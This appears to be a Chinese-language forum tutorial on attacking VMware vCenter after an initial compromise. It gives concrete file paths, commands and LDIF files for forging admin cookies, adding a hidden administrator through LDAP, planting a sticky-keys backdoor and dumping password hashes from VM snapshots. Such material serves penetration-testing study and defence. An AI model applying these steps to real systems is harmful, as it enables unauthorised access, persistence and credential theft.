vcenter实战利用方式总结

2023-07-08 18:49:39 12 8294

0x00 vcenter简介

esxi相当于vmware workstation,可以在上面开虚拟机,esxi也有单独的网页可以管理里面的虚拟机。vcenter相当于一个vmware workstation集群的管理工具,在vcenter中可以看见所有的esxi中的虚拟机。其中vcenter自己的认证信息是放在ldap中的,esxi的账号密码以及虚拟机等信息是存放在PostgreSQL中的,Postgre的配置文件位置如下。

linux:

/etc/vmware-vpx/vcdb.properties

windows:

C:\programdata\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

0x01 获取vcenter服务权限

这一步可以分为cve获取vcenter权限和通过管理员pc上保存的账号密码获取vcenter的权限,如果是通过管理员pc获取的vcenter权限就可以直接登录了。但如果是cve获取的vcenter权限一般情况都是vcenter服务器的权限,不是vcenter的权限。如果要通过vcenter服务器获取vcenter的权限可以通过cookie,或者添加账号的方式获取vcenter权限。

1. 使用cookie获取vcenter服务权限

下载服务器中的mdb文件,然后使用 https://github.com/horizon3ai/vcenter_saml_login 获取cookie

mdb位置:

Linux:/storage/db/vmware-vmdir/data.mdb

windows:C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

kali使用脚本时会会出错,使用以下命令安装依赖:

apt-get install build-essential python3-dev python2.7-dev libldap2-dev libsasl2-dev slapd ldap-utils tox lcov valgrind

因为该脚本需要和vcenter交互,所以如果vcenter在内网则需要使用proxycahins代理该脚本。

获取cookie:

python3 vcenter_saml_login.py -p data.mdb -t [vcenter ip]

获取vcenter的cookie后可以在chrome的Application中编辑cookie,然后刷新就能成功登录了。

2. 通过添加账号的方式获取vcenter权限

获取ldap的账号密码

linux列ldap信息:
/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]'

windows列ldap信息: 
reg query '\\HKEY_THIS_MACHINE\\services\\vmdir'
reg query "HKLM\SYSTEM\CurrentControlSet\services\VMwareDirectoryService" /v
dcAccountDN

dcAccountDN和dcAccountPassword分别为ldap的连接账号密码。可使用ldap连接工具或ldap命令来实现添加用户,删除用户等操作。添加vcenter用户和添加windows用户一样,需要先添加用户再将用户添加到管理员组。

添加用户前需要先创建两个文件。

adduser.ldif

dn: CN=vcenterAccount,CN=Users,DC=vsphere,dc=local
userPrincipalName: [email protected]
sAMAccountName: vcenterAccount
cn: vcenterAccount
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
userPassword: G%2kX@PjYn%Jy$Nb

addadmin.ldif

dn: cn=Administrators,cn=Builtin,dc=vsphere,dc=local
changetype: modify
add: member
member: CN=vcenterAccount,CN=Users,DC=vsphere,dc=local

使用命令行操作:

添加用户:
ldapadd -x -h [ldap ip] -D '[dcAccountDN]' -w '[dcAccountPassword]' -f adduser.ldif
添加管理员:
ldapadd -x -h [ldap ip] -D '[dcAccountDN]' -w '[dcAccountPassword]' -f addadmin.ldif

使用工具操作添加用户(ladp admin):

将前面的adduser.ldif,addadmin.ldif导入进去即可。使用其他工具的时候可能会出现问题,建议使用同款工具。所有用户可以在dc=local/dc=vsphere/cn=users中看见,当然也可以右击直接删除。管理员可以在dc=local/dc=vsphere/cn=Builtin/cn=Administrators中的member字段中看见。

0x02 利用vcenter进入系统

1. windows系统

要进入windows主要有两种方法,第一是使用pe结合shift后门进入系统,缺点是需要重启系统。第二是使用快照,从快照中获取到lsass进程,然后找到hash再登录主机。

  • pe结合shift

先把pe文件上传到vcenter中。然后在CD/DVD驱动器中选择刚刚上传的pe。最后在虚拟机选项中的引导选项勾选强制进入bios,保存后即可打开虚拟机电源。

进入bios后在boot中按-+调整顺序,将CD-ROM Drive设置为第一启动项,最好按F10保存即可进入pe。

进入PE后在windows/system32中将sethc.exe改为sethc.bak,再复制一个cmd并重命名为sethc.exe,然后重新勾选强制进入bios,重启后将CD-ROM Drive改回去,然后按五次shift就可以弹出cmd了。

同样的操作,也可以直接把马放在pe里面,然后复制进主机里面。都进PE了操作可以很多。

  • 快找获取hash

给对应的虚拟机打上快照,然后将快照文件下载回来,快照文件的后缀是vmem。需要注意的是虚拟机内存有多大,快照就有多大,所以有点难受。可以通过web查看虚拟机文件夹的形式下载vmem文件和vmsn文件。

拿到文件之后用vmss2core将文件转换为dmp文件。

vmss2core -W xxx.vmem xxx.vmsn //虚拟机小于windows2012

vmss2core -W8 xxx.vmem xxx.vmsn //大于等于2012

然后使用https://github.com/volatilityfoundation/volatility3提取hash,或者安装mimikatz插件直接提取明文。

  • 其他方式

将快照文件下载到内网中已经使用获取到权限的主机上,再把工具丢上去提取密码。

将虚拟机克隆,然后使用pe进入克隆的虚拟机中操作。

重点

每种方式都有利弊

第一种直接进pe需要重启,容易把服务搞坏;第二种如果文件太大,代理不稳就很难实现;最后两种实用性稍微高一点。

2. Linux系统

Linux基本也就是克隆然后把克隆的机器重启,然后参考Linux忘记密码的操作进入bash然后查看shadow再把hash放到cmd5上看看能不能破解出来。解不出来可以翻翻文件什么的,从其他服务看看嫩不能进去。Linux中内存看不见密码,内存中的信息可以参考volatility。

关于作者

背包客2篇文章2篇回复

评论12次

要评论?请先  登录  或  注册